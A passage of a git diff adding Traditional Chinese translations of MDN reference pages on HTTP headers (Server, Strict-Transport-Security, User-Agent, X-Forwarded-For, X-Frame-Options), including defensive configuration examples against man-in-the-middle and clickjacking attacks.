proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.</dd> +</dl> + +<h2 id="Redirects">Redirects</h2> + +<dl> + <dt>{{HTTPHeader("Location")}}</dt> + <dd>Indicates the URL to redirect a page to.</dd> +</dl> + +<h2 id="Request_context">Request context</h2> + +<dl> + <dt>{{HTTPHeader("From")}}</dt> + <dd>Contains an Internet email address for a human user who controls the requesting user agent.</dd> + <dt>{{HTTPHeader("Host")}}</dt> + <dd>Specifies the domain name of the server (for virtual hosting), and (optionally) the TCP port number on which the server is listening.</dd> + <dt>{{HTTPHeader("Referer")}}</dt> + <dd>The address of the previous web page from which a link to the currently requested page was followed.</dd> + <dt>{{HTTPHeader("Referrer-Policy")}}</dt> + <dd>Governs which referrer information sent in the {{HTTPHeader("Referer")}} header should be included with requests made.</dd> + <dt>{{HTTPHeader("User-Agent")}}</dt> + <dd>Contains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>.</dd> +</dl> + +<h2 id="Response_context">Response context</h2> + +<dl> + <dt>{{HTTPHeader("Allow")}}</dt> + <dd>Lists the set of HTTP request methods support by a resource.</dd> + <dt>{{HTTPHeader("Server")}}</dt> + <dd>Contains information about the software used by the origin server to handle the request.</dd> +</dl> + +<h2 id="Range_requests">Range requests</h2> + +<dl> + <dt>{{HTTPHeader("Accept-Ranges")}}</dt> + <dd>Indicates if the server supports range requests and if so, in which unit the range can be expressed.</dd> + <dt>{{HTTPHeader("Range")}}</dt> + <dd>Indicates the part of a document that the server should return.</dd> + <dt>{{HTTPHeader("If-Range")}}</dt> + <dd>Creates a conditional range request that is only fulfilled if the given etag or date matches the remote resource. Used to prevent downloading two ranges from incompatible version of the resource.</dd> + <dt>{{HTTPHeader("Content-Range")}}</dt> + <dd>Indicates where in a full body message a partial message belongs.</dd> +</dl> + +<h2 id="Security">Security</h2> + +<dl> + <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> + <dd>Controls resources the user agent is allowed to load for a given page.</dd> + <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> + <dd>Allows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of {{Glossary("JSON")}} documents sent via an HTTP <code>POST</code> request to the specified URI.</dd> + <dt>{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})</dt> + <dd>Associates a specific cryptographic public key with a certain web server to decrease the risk of {{Glossary("MITM")}} attacks with forged certificates.</dd> + <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> + <dd>Sends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> + <dd>Force communication using HTTPS instead of HTTP.</dd> + <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> + <dd>Sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the {{CSP("upgrade-insecure-requests")}} directive.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> + <dd>Disables MIME sniffing and forces browser to use the type given in {{HTTPHeader("Content-Type")}}.</dd> +</dl> + +<dl> + <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> + <dd>Indicates whether or not a browser should be allowed to render a page in a {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} or {{HTMLElement("object")}}</dd> + <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> + <dd>Enables cross-site scripting filtering.</dd> +</dl> + +<h2 id="Server-sent_events">Server-sent events</h2> + +<dl> + <dt>{{HTTPHeader("Ping-From")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Ping-To")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Last-Event-ID")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Transfer_coding">Transfer coding</h2> + +<dl> + <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> + <dd>Specifies the the form of encoding used to safely transfer the entity to the user.</dd> + <dt>{{HTTPHeader("TE")}}</dt> + <dd>Specifies the transfer encodings the user agent is willing to accept.</dd> + <dt>{{HTTPHeader("Trailer")}}</dt> + <dd>Allows the sender to include additional fields at the end of chunked message.</dd> +</dl> + +<h2 id="WebSockets">WebSockets</h2> + +<dl> + <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="Other">Other</h2> + +<dl> + <dt>{{HTTPHeader("Date")}}</dt> + <dd>Contains the date and time at which the message was originated.</dd> + <dt>{{HTTPHeader("Large-Allocation")}}</dt> + <dd>Tells the browser that the page being loaded is going to want to perform a large allocation.</dd> + <dt>{{HTTPHeader("Link")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("Retry-After")}}</dt> + <dd>Indicates how long the user agent should wait before making a follow-up request.</dd> + <dt>{{HTTPHeader("Upgrade")}}</dt> + <dd>This is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, <a href="https://www.rfc-editor.org/standards">visit this Internet Standards reference</a>, which is updated daily. The relevant RFC document for the <a href="https://tools.ietf.org/html/rfc7230#section-6.7">Upgrade header field standard is RFC 7230, section 6.7</a>. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field <a href="https://tools.ietf.org/html/rfc7230#section-6.1">please see section 6.1 of the aforementioned RFC</a>.</dd> + <dt>{{HTTPHeader("Vary")}}</dt> + <dd>Determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</dd> + <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> + <dd>Controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.</dd> + <dt>{{HTTPHeader("X-Requested-With")}}</dt> + <dd>...</dd> + <dt>{{HTTPHeader("X-UA-Compatible")}}</dt> + <dd>...</dd> +</dl> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></li> + <li><a href="https://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a></li> +</ul> diff --git a/files/zh-tw/web/http/headers/server/index.html b/files/zh-tw/web/http/headers/server/index.html new file mode 100644 index 0000000000..26d1e1fe90 --- /dev/null +++ b/files/zh-tw/web/http/headers/server/index.html @@ -0,0 +1,73 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +translation_of: Web/HTTP/Headers/Server +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><code><strong>Server</strong></code> 標頭描述處理請求的伺服器軟體資訊：也就是產生回應的伺服器資訊。</span></p> + +<div class="blockIndicator warning"> +<p>請避免 Server 值的資訊過度冗長與詳盡，因為它們可能會洩漏實做細節、讓攻擊者容易找到已知安全漏洞並利用之。</p> +</div> + + + + +<table class="properties"> + <tbody> + <tr> + <th scope="row">標頭類型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="語法">語法</h2> + +<pre class="syntaxbox">Server: <product> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><product></dt> + <dd>處理請求的軟體（或組件）名。語法通常與 {{HTTPHeader('User-Agent')}} 相似。</dd> +</dl> + +<p>How much detail to include is an interesting balance to strike; exposing the OS version is probably a bad idea, as mentioned in the earlier warning about overly-detailed values. However, exposed Apache versions helped browsers work around a bug those versions had with {{HTTPHeader('Content-Encoding')}} combined with {{HTTPHeader('Range')}}.</p> + +<h2 id="示例">示例</h2> + +<pre>Server: Apache/2.4.1 (Unix)</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC("7231", "Server", "7.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1)：語意化及內容</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Server")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Allow")}}</li> +</ul> diff --git a/files/zh-tw/web/http/headers/strict-transport-security/index.html b/files/zh-tw/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..28995d7517 --- /dev/null +++ b/files/zh-tw/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,110 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Headers/Strict-Transport-Security +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +<p><strong>HTTP <code>Strict-Transport-Security</code></strong> 回應標頭（簡稱為 {{Glossary("HSTS")}}）告知瀏覽器應強制使用HTTPS以取代HTTP。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">Strict-Transport-Security: max-age=<expire-time> +Strict-Transport-Security: max-age=<expire-time>; includeSubDomains +Strict-Transport-Security: max-age=<expire-time>; preload +</pre> + +<h2 id="Directives">Directives</h2> + +<dl> + <dt><code>max-age=<expire-time></code></dt> + <dd>以秒計算的時間，告知瀏覽器應該保持強制HTTPS存取的時間有多長。</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>若該標頭被聲明，則瀏覽器應該將強制使用HTTPS的狀態套用至該域名的所有子域。</dd> + <dt><code>preload</code> {{optional_inline}}</dt> + <dd>參考 {{anch("Preloading Strict Transport Security")}}。 此非規範的一部份。</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>若是網站在被訪問時經由 HTTP 被重定向至 HTTPS，則訪客將在受到 HTTPS 保護前與該網站的非加密版本通信。例如若使用者輸入 http://www.foo.com/ 或是 foo.com 時，未加密的首次連線為中間人留下了機會。他們可以使用中間人攻擊將使用者定向至惡意網站而非使用者預期的網站的安全版本。</p> + +<p>HTTP Strict Transport Security 標頭明確告知瀏覽器在有效期間費不應該使用 HTTP 與該網站進行通訊，並且應該將所有的 HTTP 請求自動轉換成 HTTPS。</p> + +<div class="note"><strong>Note:</strong> 瀏覽器將會忽略 HTTP 站點所回應的 <code>Strict-Transport-Security</code> 標頭，因為在 HTTP 連線下，該標頭可能是被惡意添加或是竄改的。瀏覽器僅會在使用 HTTPS 連線且該連線由合法的證書保護時回應該標頭的要求，唯有在這種情況下瀏覽器方能確定該站點有正確的 HTTPS 配置且標頭的確由該站點所要求。</div> + +<h3 id="一個範例情境">一個範例情境</h3> + +<p>你連接到機場提供的免費 WIFI 並且登入你的網路銀行以察看可用餘額並支付帳單，不幸的是，你連上的無線網路實際上是黑客偽造的筆記型電腦。當你嘗試連上網路銀行時，實際上你連結的是黑客所偽造的網路銀行介面，現在，你的帳號密碼已經洩漏了。</p> + +<p>HSTS 可以處理這項問題，你只要曾經在安全的環境下連結到你的網路銀行，且該銀行啟用了 HSTS ，那你的瀏覽器將會知道僅使用 HTTPS 進行通訊，而不會接受黑客的重定向請求，HSTS 從中間人手上保護了你的安全。</p> + +<h3 id="瀏覽器如何處理它">瀏覽器如何處理它</h3> + +<p>當你首次經由 HTTPS 存取使用 HSTS 的網站時，你的瀏覽器將會記憶此一要求，在未來你存取該網站時將會自動將 HTTP 轉為 HTTPS。</p> + +<p>在 HSTS 標頭所指定的時間過期後，瀏覽器將不會自動將 HTTP 轉為 HTTPS。</p> + +<p><span class="tlid-translation translation" lang="zh-TW"><span title="">無論何時將Strict-Transport-Security標頭傳遞到瀏覽器，它都會更新該網站的到期時間，因此網站可以更新此一訊息並防止該聲明到期。</span> <span title="">如果有必要停用嚴格傳輸安全性，則將max-age設置為0（使用 HTTPS 連接）將立即使Strict-Transport-Security標頭過期，從而允許使用 HTTP 訪問。</span></span></p> + +<h2 id="Preloading_Strict_Transport_Security">Preloading Strict Transport Security</h2> + +<p>Google maintains <a href="https://hstspreload.org/">an HSTS preload service</a>. By following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. While the service is hosted by Google, all browsers have stated an intent to use (or actually started using) the preload list. However, it is not part of the HSTS specification and should not be treated as official.</p> + +<ul> + <li>Information regarding the HSTS preload list in Chrome : <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> + <li>Consultation of the Firefox HSTS preload list : <a href="https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li> +</ul> + +<h2 id="Examples">Examples</h2> + +<p>All present and future subdomains will be HTTPS for a max-age of 1 year. This blocks access to pages or sub domains that can only be served over HTTP.</p> + +<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HSTS')}}</td> + <td>{{Spec2('HSTS')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Strict-Transport-Security")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li> + <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li> + <li>OWASP Article: <a href="https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.md">HTTP Strict Transport Security</a></li> + <li>Wikipedia: {{interwiki("wikipedia", "HTTP Strict Transport Security")}}</li> + <li>Browser test site: <a href="https://projects.dm.id.lv/Public-Key-Pins_test">HSTS and HPKP test</a></li> + <li><a href="/en-US/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts">Features restricted to secure contexts</a></li> +</ul> diff --git a/files/zh-tw/web/http/headers/user-agent/index.html b/files/zh-tw/web/http/headers/user-agent/index.html new file mode 100644 index 0000000000..38bfe13cbf --- /dev/null +++ b/files/zh-tw/web/http/headers/user-agent/index.html @@ -0,0 +1,146 @@ +--- +title: User-Agent +slug: Web/HTTP/Headers/User-Agent +translation_of: Web/HTTP/Headers/User-Agent +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary">User-Agent 請求標頭（request header）含有能令網路協議同級層（peer）識別發出該<a href="/zh-TW/docs/Glossary/User_agent">用戶代理</a>請求的軟體類型或版本號、該軟體使用的作業系統、還有軟體開發者的字詞串。</span></p> + +<div class="note"> +<p>請讀讀<a href="/zh-TW/docs/Web/HTTP/Browser_detection_using_the_user_agent">透過用戶代理偵測瀏覽器</a>以理解為什麼給不同的瀏覽器不同的頁面或服務是餿主意。</p> +</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">標頭類型</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>否</td> + </tr> + </tbody> +</table> + +<h2 id="語法">語法</h2> + +<pre class="syntaxbox">User-Agent: <product> / <product-version> <comment> +</pre> + +<p>瀏覽器常見格式：</p> + +<pre class="syntaxbox">User-Agent: Mozilla/5.0 (<system-information>) <platform> (<platform-details>) <extensions></pre> + +<p>網路瀏覽器常用的格式：</p> + +<pre class="syntaxbox">User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><product></dt> + <dd>產品識別符：通常是名字或開發代號。</dd> + <dt><product-version></dt> + <dd>產品版本號。</dd> + <dt><comment></dt> + <dd>關於產品資訊的註解（如副產品訊息）。可能有、或沒有。</dd> +</dl> + +<h2 id="Firefox_UA_字串">Firefox UA 字串</h2> + +<p>關於 Firefox 和基於 Gecko 的用戶代理字串，請參閱 <a href="/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 用戶代理字串參考</a>。Firefox 用戶代理字串大略上分成以下四個部份：</p> + +<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em> Firefox/<em>firefoxversion</em></strong></p> + +<ol> + <li><code>Mozilla/5.0</code> is the general token that says the browser is Mozilla-compatible. For historical reasons, almost every browser today sends it.</li> + <li><strong><em>platform</em></strong> describes the native platform the browser is running on (Windows, Mac, Linux, Android, etc.), and if it's a mobile phone. <a href="/en-US/docs/Glossary/Firefox_OS">Firefox OS</a> phones simply say <code>Mobile</code> — the web is the platform. Note that <strong><em>platform</em></strong> can consist of multiple <code>"; "</code>-separated tokens. See below for further details and examples.</li> + <li><strong>rv:<em>geckoversion</em></strong> indicates the release version of Gecko (such as <em>"17.0"</em>). In recent browsers, <strong><em>geckoversion</em></strong> is the same as <strong><em>firefoxversion</em></strong>.</li> + <li><strong><em>Gecko/geckotrail</em></strong> indicates that the browser is based on <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>. (On Desktop, <em><strong>geckotrail</strong></em> is always the fixed string <code>20100101</code>.)</li> + <li><em><strong>Firefox/firefoxversion</strong></em> indicates the browser is Firefox, and provides the version (such as "<em>17.0"</em>).</li> +</ol> + +<h3 id="示例">示例</h3> + +<pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:42.0) Gecko/20100101 Firefox/42.0 +</pre> + +<h2 id="Chrome_用戶代理字串">Chrome 用戶代理字串</h2> + +<p>Chrome（或基於 Chromium/blink 引擎的瀏覽器）的用戶代理字串看起來像 Firefox。出於相容性的理由，它還會加上「KHTML, like Gecko」與「Safari」的字串。</p> + +<h3 id="字串">字串</h3> + +<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36</pre> + +<h2 id="Opera_用戶代理字串">Opera 用戶代理字串</h2> + +<p>因為 Opera 瀏覽器的引擎也是基於 blink 的，所以語法也看起來也會很像。不過，還會加上「 OPR/<version>」一詞。</p> + +<h3 id="示例_2">示例</h3> + +<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41</pre> + +<p>Opera 在使用 Presto 排版時的用戶代理字串</p> + +<pre class="no-line-numbers">Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 +Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1</pre> + +<h2 id="Safari_用戶代理字串">Safari 用戶代理字串</h2> + +<p>此例的 safari 用戶代理字串是攜帶版，所以會出現「Mobile」一詞。</p> + +<h3 id="示例_3">示例</h3> + +<pre>Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30</pre> + +<h2 id="Internet_Explorer_用戶代理字串">Internet Explorer 用戶代理字串</h2> + +<h3 id="示例_4">示例</h3> + +<pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</pre> + +<h2 id="網路爬蟲與機器人的用戶代理字串">網路爬蟲與機器人的用戶代理字串</h2> + +<h3 id="示例_5">示例</h3> + +<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre> + +<h2 id="規範">規範</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">規範</th> + <th scope="col">標題</th> + </tr> + <tr> + <td>{{RFC(7231, "User-Agent", "5.5.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td>{{RFC(2616, "User-Agent", "14.43")}}</td> + <td>Hypertext Transfer Protocol -- HTTP/1.1</td> + </tr> + </tbody> +</table> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.User-Agent")}}</p> + +<h2 id="參閱">參閱</h2> + +<ul> + <li><a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">User-Agent detection, history and checklist</a></li> + <li><a href="/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox 用戶代理字串參考</a></li> + <li> + <p><a href="/zh-TW/docs/Web/HTTP/Browser_detection_using_the_user_agent">透過用戶代理偵測瀏覽器</a></p> + </li> +</ul> diff --git a/files/zh-tw/web/http/headers/x-forwarded-for/index.html b/files/zh-tw/web/http/headers/x-forwarded-for/index.html new file mode 100644 index 0000000000..546a4ed60c --- /dev/null +++ b/files/zh-tw/web/http/headers/x-forwarded-for/index.html @@ -0,0 +1,74 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Headers/X-Forwarded-For +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>X-Forwarded-For</code></strong> (XFF) 標頭是辨識用戶端透過 HTTP 代理或負載平衡 IP 位置來源的，事實上的標準。如果流量是在伺服器與用戶端中間擷取，伺服器日誌就只會代理或負載平衡的 IP 位置。如果要檢查用戶端的 IP 的原始來源，就會去檢查 <code>X-Forwarded-For</code> 請求標頭。</p> + +<p>這個標頭用於除錯、分析、產生與位置相關的內容、透過設計也洩漏部分隱私資訊，例如用戶端的 IP 位置。因此在部署此標頭時，必須考慮到用戶的隱私。</p> + +<p>此 HTTP 標頭的標準化版本為 {{HTTPHeader("Forwarded")}} 標頭。</p> + +<p><code>X-Forwarded-For</code> 也是個說明 email-message 是從哪個帳戶轉發的 email-header。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">標頭屬性</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="語法">語法</h2> + +<pre class="syntaxbox">X-Forwarded-For: <client>, <proxy1>, <proxy2> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><client></dt> + <dd>用戶端的 IP 位置</dd> + <dt><proxy1>, <proxy2></dt> + <dd>如果請求用上了多個代理，則列出每個後續代理的 IP 地址。也就是說，最右邊的 IP 位置，是最新代理的 IP 位置；最左邊的 IP 位置，是用戶端原始來源的 IP 位置。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348 + +X-Forwarded-For: 203.0.113.195 + +X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 +</pre> + +<p>其他非標準變體：</p> + +<pre># Used for some Google services +X-ProxyUser-Ip: 203.0.113.19</pre> + +<h2 id="規範">規範</h2> + +<p>任何版本都沒有被標準化。標準化版本的標頭為 {{HTTPHeader("Forwarded")}}。</p> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + + + +<p>{{Compat("http.headers.X-Forwarded-For")}}</p> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Forwarded")}}</li> + <li>{{HTTPHeader("X-Forwarded-Host")}}</li> + <li>{{HTTPHeader("X-Forwarded-Proto")}}</li> + <li>{{HTTPHeader("Via")}}</li> +</ul> diff --git a/files/zh-tw/web/http/headers/x-frame-options/index.html b/files/zh-tw/web/http/headers/x-frame-options/index.html new file mode 100644 index 0000000000..b19ddffe26 --- /dev/null +++ b/files/zh-tw/web/http/headers/x-frame-options/index.html @@ -0,0 +1,146 @@ +--- +title: X-Frame-Options 回應標頭 +slug: Web/HTTP/Headers/X-Frame-Options +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +<p>{{ gecko_minversion_header("2.0") }}</p> + +<div class="note"> +<div class="syntaxbox"><strong>Note: </strong>CSP Level 2 的 <a href="/en-US/docs/Security/CSP/CSP_policy_directives#frame-ancestors">frame-ancestors</a> 指令標準雖然已經取代了非標準的 X-Frame-Options，而自 {{Gecko("4.0")}} 起也開始支援 frame-ancestors 指令，但因為並非所有瀏覽器都支援 frame-ancestors，所以 支援度較廣的 X-Frame-Options 還是可以和 CSP 一起採用。</div> +</div> + +<p><span style="line-height: 1.5;">X-Frame-Options </span><a href="/en/HTTP" style="line-height: 1.5;" title="en/HTTP">HTTP</a><span style="line-height: 1.5;"> 回應標頭 (header) 用來指示文件是否能夠載入 {{ HTMLElement("frame") }}, {{ HTMLElement("iframe") }} 以及 {{ HTMLElement("object") }}，網站可以利用 </span><span style="line-height: 19.0909080505371px;">X-Frame-Options 來確保本身內容不會遭惡意嵌入道其他網站、避免 </span><span style="line-height: 1.5;">clickjacking 攻擊</span></p> + +<h2 id="使用_X-Frame-Options">使用 X-Frame-Options</h2> + +<p>共有三種值：</p> + +<dl> + <dt><code>DENY</code></dt> + <dd>表示文件無論如何都不能被嵌入到 frame 中，即使是自家網站也不行。</dd> + <dt><code>SAMEORIGIN</code></dt> + <dd>唯有當符合<a href="/zh-TW/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">同源政策</a>下，才能<span style="line-height: 19.0909080505371px;">被嵌入到 frame 中。</span></dd> + <dt><code>ALLOW-FROM <em>uri</em></code></dt> + <dd>唯有列表許可的 URI 才能<span style="line-height: 19.0909080505371px;">嵌入到 frame 中。</span></dd> +</dl> + +<h3 id="設定_Apache">設定 Apache</h3> + +<p>請加入以下指令到網站<span style="line-height: 19.0909080505371px;">組態設定檔</span>：</p> + +<pre>Header always append X-Frame-Options SAMEORIGIN +</pre> + +<h3 id="設定_nginx">設定 nginx</h3> + +<p><span style="line-height: 19.0909080505371px;">請加入以下指令到</span> http, server 或 location 組態設定檔:</p> + +<pre><code>add_header X-Frame-Options </code>SAMEORIGIN<code>;</code> +</pre> + +<h3 id="設定_IIS">設定 IIS</h3> + +<p><span style="line-height: 19.0909080505371px;">請加入以下指令到網站的</span> Web.config 檔:</p> + +<pre><code><system.webServer> + ... + + <httpProtocol> + <customHeaders> + <add name="X-Frame-Options" value="SAMEORIGIN" /> + </customHeaders> + </httpProtocol> + + ... +</system.webServer></code> +</pre> + +<h3 id="設定_HAProxy">設定 HAProxy</h3> + +<p><span style="line-height: 19.0909080505371px;">請加入以下指令到</span> frontend, listen, 或 backend <span style="line-height: 19.0909080505371px;">組態設定檔</span>:</p> + +<pre>rspadd X-Frame-Options:\ SAMEORIGIN +</pre> + +<div class="note"> +<p><strong>Note: </strong>設定 Meta tag 是無效的，像是 <meta http-equiv="X-Frame-Options" content="deny"> 便沒有任何效果，只有透過設定 HTTP header 才有效果，請勿採用。</p> +</div> + +<h2 id="sect1"> </h2> + +<h2 id="結論">結論</h2> + +<p>當載入一個 X-Frame-Options 不允許的網站到 iframe 中， Firefox 會顯示about:blank 的空白頁面，甚至某些狀況還會顯示錯誤訊息。</p> + +<h2 id="瀏覽器相容性">瀏覽器相容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(4.1.249.1042) }}</td> + <td>{{ CompatGeckoDesktop(1.9.2.9) }}</td> + <td>{{ CompatIE(8.0) }}</td> + <td>{{ CompatOpera(10.5) }}</td> + <td>{{ CompatSafari(4.0) }}</td> + </tr> + <tr> + <td>ALLOW-FROM support</td> + <td>{{ CompatNo() }}</td> + <td>{{ CompatGeckoDesktop(18.0) }} {{ bug(690168) }}</td> + <td>{{ CompatIE("8.0?") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatNo() }} {{webkitbug(94836)}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() 